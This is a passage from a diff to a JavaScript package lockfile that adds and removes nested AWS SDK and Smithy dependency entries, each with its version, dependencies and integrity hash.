"^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@aws-sdk/client-cognito-identity/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
- "@aws-sdk/client-kendra/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
"@aws-sdk/client-kendra/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -8409,76 +8073,86 @@
"@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@3.0.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahM1lQv2YjmznnfQsWbYojFe55l0SLG/988brlLv1i8z3dubloLF+75ATRsqPBboUXsW6I9CPGE5rQgLfY0vQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
-
